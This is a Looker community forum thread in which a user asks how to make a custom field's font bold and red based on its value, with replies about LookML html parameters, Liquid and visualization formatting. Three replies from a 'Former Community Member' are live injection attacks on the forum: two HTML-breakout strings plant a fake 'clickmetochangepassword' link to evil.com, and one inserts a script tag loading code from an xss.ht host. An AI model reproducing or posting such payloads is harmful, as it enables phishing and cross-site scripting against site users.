Custom Dimension: Changing font color based with function based on result

CYY
New Member

Hello to all,

Writing you with a simplified version of my issue, as I’m looking for a coded way to change font color to red and bold letters, based on result. 

if(

${example_field} > 1,

${name} in BOLD RED,

${name}

)

Thank you very much in advance for your insight.

Wishing you all a pleasant day.

CY

0 9 1,335
9 REPLIES 9

Hey @CYY ,

Liquid variables could be the answer to you problem.  Here is the Looker documentation.

If you know a little HTML, you can add an html parameter to a dimension or measure in a view file and alter the appearance based on the resulting value.

For your example above, let’s assume the `example_field` is a dimension in the view file that you want to make RED when the value is greater than 1.

dimension: example_field {
type: number
sql: ${TABLE}.example_field
html: {% if value > 1 %}
<p style="color: red;">{{ value }}</p>
{% else %}
<p>{{ value }}</p>
{% endif %};;

Hope this helps and here is another place where it is explained well if my reasoning is confusing.

CYY
New Member

Hi @minerkt,

Thank you for your swift reply and the valuable material provided!

Unfortunately I’m in need of a solution to be implemented in Looker’s Custom Dimension, as I’m not familiar with HTML yet.

Do you think what you suggest would be easily implementable by someone with much HTML knowledge?

Thanks!

Hey @CYY 

In that case, you could try using the native formatting available in the visualization.

Once that is enabled like in screenshot below, you can change the background or font colors based on the resulting value.

23a49fa1-641f-4071-8100-be5f1c52cc85.png

This method also allows you to ignore any HTML.

Hope this helps!

CYY
New Member

Thanks @minerkt, this would have indeed worked if the field I was trying to format wasn’t a custom dimension.:sweat_smile:

@CYY got it.  

Well my last idea is making it a regular dimension.

Is there a need for it to be a custom dimension or can you write it to the view file?

Former Community Member
Not applicable

#"></div><a href=http://evil.com>clickmetochangepassword</a

Former Community Member
Not applicable

"><script src=https://hunt2behunt.xss.ht></script>

Former Community Member
Not applicable

#"></div><a href=http://evil.com>clickmetochangepassword</a

CYY
New Member

@minerkt first of all sincere thanks for your time and support!

Afraid don’t know what the view file is, still getting the ropes of Looker.

Also sorry for misleading, this is a dimension under custom fields not a custom dimension, hope this last detail helps.

Top Labels in this Space
Top Solution Authors